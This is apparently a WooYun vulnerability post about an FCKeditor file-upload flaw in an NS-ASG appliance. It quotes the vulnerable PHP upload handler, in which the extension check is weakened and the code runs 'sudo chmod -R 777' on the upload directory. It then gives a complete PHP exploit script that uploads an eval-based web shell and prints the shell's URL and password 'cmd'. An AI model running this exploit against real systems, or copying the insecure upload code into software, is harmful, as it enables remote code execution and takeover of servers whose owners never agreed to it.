WooYun.org

require('config.php') ;
require('util.php') ;
// This is the function that sends the results of the uploading process.
function SendResults( $errorNumber, $fileUrl = '', $fileName = '', $customMsg = '' )
{
	echo '<script type="text/javascript">' ;
	echo 'window.parent.OnUploadCompleted(' . $errorNumber . ',"' . str_replace( '"', '\\"', $fileUrl ) . '","' . str_replace( '"', '\\"', $fileName ) . '", "' . str_replace( '"', '\\"', $customMsg ) . '") ;' ;
	echo '</script>' ;
	exit ;
}
// Check if this uploader has been enabled.
if ( !$Config['Enabled'] )
	SendResults( '1', '', '', 'This file uploader is disabled. Please check the "editor/filemanager/upload/php/config.php" file' ) ;
// Check if the file has been correctly uploaded.
if ( !isset( $_FILES['NewFile'] ) || is_null( $_FILES['NewFile']['tmp_name'] ) || $_FILES['NewFile']['name'] == '' )
	SendResults( '202' ) ;
// Get the posted file.
$oFile = $_FILES['NewFile'] ;
// Get the uploaded file name extension.
$sFileName = $oFile['name'] ;
// Replace dots in the name with underscores (only one dot can be there... security issue).
//if ( $Config['ForceSingleExtension'] ) //change by linyh
//	$sFileName = preg_replace( '/\\.(?![^.]*$)/', '_', $sFileName ) ;
$sOriginalFileName = $sFileName ;
// Get the extension.
$sExtension = substr( $sFileName, ( strrpos($sFileName, '.') + 1 ) ) ;
$sExtension = strtolower( $sExtension ) ;
// The the file type (from the QueryString, by default 'File').
$sType = isset( $_GET['Type'] ) ? $_GET['Type'] : 'File' ;
// Check if it is an allowed type.
if ( !in_array( $sType, array('File','Image','Flash','Media') ) )
    SendResults( 1, '', '', 'Invalid type specified' ) ;
// Get the allowed and denied extensions arrays.
$arAllowed	= $Config['AllowedExtensions'][$sType] ;
$arDenied	= $Config['DeniedExtensions'][$sType] ;
// Check if it is an allowed extension.
if ( ( count($arAllowed) > 0 && !in_array( $sExtension, $arAllowed ) ) || ( count($arDenied) > 0 && in_array( $sExtension, $arDenied ) ) )
	SendResults( '202' ) ;
$sErrorNumber	= '0' ;
$sFileUrl		= '' ;
// Initializes the counter used to rename the file, if another one with the same name already exists.
$iCounter = 0 ;
// Get the target directory.
if ( isset( $Config['UserFilesAbsolutePath'] ) && strlen( $Config['UserFilesAbsolutePath'] ) > 0 )
	$sServerDir = $Config['UserFilesAbsolutePath'] ;
else
	$sServerDir = GetRootPath() . $Config["UserFilesPath"] ;
exec("sudo chmod -R 777 ".$sServerDir);
$sRootPath = $sServerDir;
if ( $Config['UseFileType'] )
	$sServerDir .= strtolower($sType) . '/' ;
//check for the directory before uploading the file
if(!is_dir($sServerDir))
{
    mkdir($sServerDir);
} 
while ( true )
{
	// Compose the file path.
	$sFilePath = $sServerDir . $sFileName ;
	// If a file with that name already exists.
	if ( is_file( $sFilePath ) )
	{
		$iCounter++ ;
		$sFileName = RemoveExtension( $sOriginalFileName ) . '(' . $iCounter . ').' . $sExtension ;
		$sErrorNumber = '201' ;
	}
	else
	{
		move_uploaded_file( $oFile['tmp_name'],$sFilePath ) ;
		if ( is_file( $sFilePath ) )
		{
			$oldumask = umask(0) ;
			chmod( $sFilePath, 0777 ) ;
			umask( $oldumask ) ;
		}
		if ( $Config['UseFileType'] )
			$sFileUrl = $Config["UserFilesPath"] . strtolower($sType) . '/' . $sFileName ;
		else
			$sFileUrl = $Config["UserFilesPath"] . $sFileName ;
		break ;
	}
}

<?php
print_r('
      +--------------------------------------------------------------+
                  NS-ASG Getshell  Exploit
      +--------------------------------------------------------------+
');
if ($argc < 2) {
      print_r('
      +--------------------------------------------------------------+
                  Example:
                  php '.$argv[0].' localhost
      +--------------------------------------------------------------+
      ');
      exit;
}
$host = $argv[1];
$file = 'index.php';
$path = "/admin/fckeditor/editor/filemanager/upload/php/upload.php?Type=Media";
$url = 'https://'.$host.$path;
$fp = fopen("$file","w") or die('can not write');
fwrite($fp,"<?php phpinfo();eval(\$_POST[cmd]);?>");
fclose($fp);
$data = array('NewFile'=>'@'. dirname(__FILE__)."/$file");
	$curl = curl_init(); 
	curl_setopt ( $curl, CURLOPT_URL, $url ); // 
	curl_setopt ( $curl, CURLOPT_SSL_VERIFYPEER, 0 ); 
	curl_setopt ( $curl, CURLOPT_SSL_VERIFYHOST, 0 ); 
	curl_setopt ( $curl, CURLOPT_USERAGENT, "Mozilla/4.0" ); 
	@curl_setopt ( $curl, CURLOPT_FOLLOWLOCATION, 1 ); 
	curl_setopt ( $curl, CURLOPT_AUTOREFERER, 1 ); 
	curl_setopt ( $curl, CURLOPT_POST, 1 ); 
	curl_setopt ( $curl, CURLOPT_POSTFIELDS, $data ); 
	
	curl_setopt ( $curl, CURLOPT_TIMEOUT, 120 ); 
	curl_setopt ( $curl, CURLOPT_HEADER, 0 ); 
	curl_setopt ( $curl, CURLOPT_RETURNTRANSFER, 1 );
	$tmpInfo = curl_exec ( $curl ); 
	if (curl_errno ( $curl )) {
		echo 'Errno' . curl_error ( $curl );
	}
	curl_close ( $curl );
    //echo $tmpInfo;	
    preg_match('/201,\"(.*)\",\"/iU',$tmpInfo,$matchs);
	$url = 'https://'.$host.$matchs[1];
	print 'Shell: '.$url.'   password: cmd';